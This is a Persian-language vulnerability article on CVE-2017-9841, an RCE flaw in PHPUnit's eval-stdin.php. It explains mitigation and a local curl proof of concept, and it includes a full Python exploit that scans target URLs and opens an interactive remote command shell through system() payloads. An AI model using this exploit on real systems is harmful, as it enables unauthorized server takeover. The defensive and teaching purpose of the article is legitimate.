CVE-2017-9841

PHP unit 4.8.28 RCE
Week 5
Author : Ali Soltani

مقدمه

سلام به همه شما بزرگواران عزیز. خوش آمدید به هفته هفتم از سری مقالات Go-To CVE. این هفته به برسی CVE-2017-9841 می‌پردازیم که از طریق آن به RCE می‌رسیم که CVSS آن تا 9.8 است و وکتور آن AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
این آسیب‌پذیری بر روی ورژن های >= 4.8.19, < 4.8.28 تاثیر خواهد گذاشت و در ورژن 4.8.28 فیکس شده است.

درباره PHP Unit

PHPUnitیک چارچوب تست‌نویسی برای زبان برنامه‌نویسی PHP است که به منظور تسهیل در نوشتن و اجرای تست‌های واحد (Unit Tests) طراحی شده است. این ابزار به توسعه‌دهندگان کمک می‌کند تا مطمئن شوند که کدهای آن‌ها به درستی کار می‌کنند و به وسیله آن به کیفیت بالاتری دست یابند. PHPUnitامکانات متعددی را فراهم می‌کند که شامل تست‌های خودکار، (Assertions) برای مقایسه خروجی مورد انتظار با خروجی واقعی، و گزارش‌دهی دقیق از نتایج تست‌ها است.

ویژگی‌های اصلی PHPUnit

- (Automated Tests) اجرای خودکار تست‌ها بدون نیاز به دخالت دستی.
- (Assertions) ارائه مجموعه‌ای از توابع برای بررسی صحت خروجی‌ها. برای مثال، assertEquals برای مقایسه دو مقدار.
- مدیریت و سازمان‌دهی تست‌ها امکان دسته‌بندی و سازمان‌دهی تست‌ها به صورت گروهی.
- (Mocking and Stubbing) شبیه‌سازی اشیا و توابع برای تست قسمت‌هایی از کد بدون نیاز به وابستگی‌های خارجی.
- (Data-Driven Testing) امکان استفاده از مجموعه‌های داده برای اجرای تست‌های مشابه با داده‌های مختلف.
- (BDD) پشتیبانی از نوشتن تست‌ها به سبک BDD که به خوانایی بیشتر کد تست کمک می‌کند.
- یکپارچگی با ابزارهای CI/CD امکان ادغام با ابزارهای پیوستگی و توسعه مداوم مانند Jenkins، GitLab CI/CD و Travis CI

TL;DR

یک آسیب‌پذیری در PHPUnit، یک چارچوب تست‌نویسی پرکاربرد برایPHP، وجود دارد. این آسیب‌پذیری می‌تواند منجر به اجرای کد از راه دور (RCE) شود، که به هکرها اجازه می‌دهد کدهای مخرب خود را روی سرور قربانی اجرا کنند.
در بیشتر موارد، PHPUnit برای محیط تولید (پروداکشن) ضروری نیست، اما با این حال نصب می‌شود. یکی از اشتباهات رایج این است که ماژول‌های Composer در دایرکتوری‌هایی قرار داده می‌شوند که از طریق وب قابل دسترس هستند. این اشتباه می‌تواند به هکرها اجازه دهد تا مستقیماً از این آسیب‌پذیری سوءاستفاده کنند.

مراحل کاهش ریسک و جلوگیری از این آسیب‌پذیری

» عدم نصب ابزارهای توسعه در محیط تولید: اطمینان حاصل کنید که ابزارهای توسعه مانند PHPUnit در محیط تولید نصب نشوند. این کار با تنظیم صحیح فرآیندهای استقرار انجام می‌شود.

```
composer install --no-dev
```

» محدود کردن دسترسی وب به ابزارهای توسعه: اطمینان حاصل کنید که دایرکتوری‌های حاوی ابزارهای توسعه از طریق وب قابل دسترس نیستند. این کار با تنظیمات سرور وب انجام می‌شود.

برای مثال، در فایل.htaccess برای Apache

```
<Directory /path/to/your/vendor/>
    Order deny,allow
    Deny from all
</Directory>
```

- یا در تنظیمات Nginx

```
location /vendor/ {
    deny all;
}
```

- بروزرسانی منظم وابستگی‌ها: همیشه وابستگی‌های خود را به‌روز نگهدارید. از ابزارهایی مانند دستور outdated Composer برای بررسی وابستگی‌های قدیمی و بروزرسانی آن‌ها استفاده کنید.

```
composer outdated
composer update
```

- استفاده از ابزارهای امنیتی و نظارتی: از ابزارهای خودکار برای اسکن وابستگی‌ها برای شناسایی آسیب‌پذیری‌های شناخته شده استفاده کنید. ابزارهایی مانند OWASP Dependency-Check، Snyk، یا دستور داخلی audit Composer می‌توانند کمک کنند.

```
composer audit
```

بهترین روش‌ها

- تنظیمات مخصوص به محیط: اطمینان حاصل کنید که اسکریپت‌های استقرار شما تفاوت بین محیط‌های توسعه و تولید را مدیریت می‌کنند.
- کنترل دسترسی: اعمال کنترل دسترسی مناسب برای جلوگیری از دسترسی غیرمجاز به دایرکتوری‌ها و فایل‌های حساس.
- پایش مداوم: محیط تولید خود را به‌طور منظم برای هرگونه نشانه‌ای از آسیب‌پذیری‌ها یا دسترسی غیرمجاز پایش کنید.

نتیجه‌گیری

با پیروی از بهترین روش‌های استقرار و بروزرسانی منظم وابستگی‌ها، می‌توان خطرات مرتبط با این آسیب‌پذیری و آسیب‌پذیری‌های مشابه را کاهش داد. جدا نگه‌داشتن محیط‌های توسعه و تولید و اطمینان از اینکه فقط اجزای ضروری در استقرار نهایی گنجانده شده‌اند، بسیار مهم است.

جزئیات آسیب پذیری

- آسیب‌پذیری در فایل phpunit/src/Util/PHP/eval-stdin.php/ قرار دارد. قبل از اعمال پچ، این فایل حاوی کد زیر بود:

```
eval('?>'.file_get_contents('php://input'));
```

این کد می‌تواند برای اجرای کد PHP دل‌خواه توسط هکرها استفاده شود. برای (PoC)، می‌توانید مراحل زیر را انجام دهید فرض می‌کنیم که PHP و Composer از قبل نصب شده‌اند.

- نصب نسخه آسیب‌پذیر phpunit، به عنوان مثال 5.6.2:

```
composer require phpunit/phpunit:5.6.2
```

- اجرای سرور داخلی PHP درهمان دایرکتوری و پورت اختصاصی خودتان، به عنوان مثال 8888:

```
php -S 127.0.0.1:8888
```

- استفاده از curl برای ارسال درخواست باmتود POST درخواست (--data) باید شامل payload باشد:

```
curl --data "<?php echo(pi());"
http://localhost:8888/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
```

شما باید مقدار π را در پاسخ مشاهده کنید.
در ادامه به پاسخ به برخی از سوالاتی که شاید ذهن شما خواننده را درگیر کند جواب خواهیم داد با ما همراه باشید :

آیا سایت من هم آسیب‌پذیر است؟؟!

اگر از Composer استفاده می‌کنید، به فایل vendor/composer/installed.json/ نگاه کنید و نسخه نصب‌شده phpunit را بررسی کنید.
آسیب‌پذیری در نسخه‌های 4.8.19 تا 4.8.27 و 5.0.10 تا 5.6.2 وجود دارد.
اگر از phpunit به‌صورت مستقیم استفاده می‌کنید، به فایل phpunit/src/Util/PHP/eval-stdin.php/ نگاه کنید. اگر کد به شکل زیر است:

```
eval('?>' . \file_get_contents('php://stdin'));
```

اگر این فایل وجود ندارد، تبریک می‌گویم؛ شما آسیب‌پذیر نیستید. و اما اگر وجود داشت شما آسیب‌پذیر هستید ولی نگران نباشید، درادامه به بررسی و امن‌سازی آن می‌پردازیم.

بهره برداری از آسیب‌پذیری

برای بهره‌برداری از این آسیب‌پذیری، می‌توانید از کد زیر استفاده کنید و این کد چک می‌کند که آیا سایت آسیب‌پذیر است یا نه . این کد سایت‌های آسیب‌پذیر به آسیب‌پذیری eval-stdin.php در PHPUnit را شناسایی و بررسی می‌کند و امکان اجرای دستورات از راه دور را فراهم می‌کند.

فانکشن‌ها:

1. check_vuln(site)
   - بررسی می‌کند که آیا سایت مشخص شده آسیب‌پذیر است یا خیر.
   - مسیرهای ممکن برای فایل آسیب‌پذیر را امتحان می‌کند و یک درخواست با کد مخرب ارسال می‌کند.
   - اگر پاسخ شامل هش مشخص باشد، سایت آسیب‌پذیر شناخته می‌شود.
2. (main)
   - دریافت URL سایت هدف از طریق آرگومان خط فرمان.
   - بررسی و تمیز کردن URL ورودی.
   - فراخوانی check_vuln() برای بررسی آسیب‌پذیری.
   - اگر سایت آسیب‌پذیر باشد، منتظر دریافت و اجرای دستورات از کاربر می‌ماند.

liangroup.net

```python
import requests
import argparse

# List of potential paths for the vulnerable file
phpfiles = [
    "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
    "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
    "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
    "/laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
    "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php",
    "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
]

def check_vuln(site):
    """Check if the site is vulnerable"""
    try:
        for path in phpfiles:
            full_url = site + path
            response = requests.get(full_url, headers={
                "Content-Type": "text/html",
                "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0",
            }, data="<?php echo md5('phpunit_rce'); ?>")

            if "6dd70f16549456495373a337e6708865" in response.text:
                print(f"Vulnerable: {full_url}")
                return full_url
    except requests.RequestException as e:
        print(f"Error: {e}")
    return False

def main():
    """Main function to run the script"""
    parser = argparse.ArgumentParser(description="Check for PHPUnit RCE vulnerability.")
    parser.add_argument("-u", "--url", required=True, help="Target site URL")
    args = parser.parse_args()

    site = args.url
    if not site.startswith("http"):
        print("Please provide a valid URL starting with http or https.")
        exit(1)
    if site.endswith("/"):
        site = site[:-1]

    vulnerable_path = check_vuln(site)
    if not vulnerable_path:
        exit("Not vulnerable")

    try:
        while True:
            cmd = input("> ")
            response = requests.get(vulnerable_path, headers={
                "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0",
                "Content-Type": "text/html"
            }, data=f'<?php system(\'{cmd}\'); ?>')
            print(response.text)
    except KeyboardInterrupt:
        print("\nExiting")
    except Exception as ex:
        exit(f"Error: {ex}")

if __name__ == "__main__":
    main()
```

برای ران کردن این کد می‌توانید آن را در کانال تلگرام مشاهده کنید و برای ران کردن آن طبق عکس زیر عمل کنید. اول کتابخانه‌ها را نصب و بعد کد را اجرا خواهیم کرد ((هرگونه سوء استفاده از این مطلب به عهده خودکاربر است)).

```
pip install requests
```

و برای اجرا کردن کد از کامند زیر استفاده کنید .

```
python php-unit.py -u http://example.com
```

جلوگیری

چگونه این مشکل را می‌توانیم رفع کنیم؟

چندین روش برای رفع یا کاهش این آسیب‌پذیری وجود دارد:

1. حذف phpunit و سایر بسته‌های توسعه. در بیشتر موارد، آن‌ها برای محیط تولید ضروری نیستند.

```
composer install --no-dev
```

2. بروزرسانی phpunit. نسخه‌های 4.8.28، 5.6.3 و x.6 به بعد آسیب‌پذیر نیستند.

```
composer update
```

3. بعضی اوقات امکان روش‌های بالا وجود ندارد به علت مهم بودن سرویس برای سرویس‌دهندگان که بهترین راه در این مواقع اعمال پچ به صورت دستی است . کد eval-stdin.php را به شکل زیر تغییر دهید:

```
eval('?>' . \file_get_contents('php://stdin'))
```

4.جلوگیری از دسترسی مستقیم به بسته‌های Composer با قرار دادن فایل .htaccess در پوشه /vendor

```
    Deny from all
```

چگونه می‌توانیم از وقوع این مشکل در آینده جلوگیری کنیم؟

اگر شما توسعه‌دهنده هستید، از قرار دادن ماژول‌های Composer در دایرکتوری‌های قابل دسترسی وب جدا خودداری کنید.
و درکلام اخر همیشه خودتان را به‌روز نگهدارید تا امن بمانید. به امید فردایی امن‌تر تا هفته‌های بعد و CVE بعد شما رو به خدای بزرگ می‌سپارم

منابع

- exploits
- github.com
- phpunit.de
- vulners.com
- ubuntu.com
- github.com
- nvd.nist.gov
- phpunit.vulnbusters.com
- avd.aquasec.com
- cvefeed.io
- vuldb.com


LIANGROUP.NET
021 9100 41 51 (300)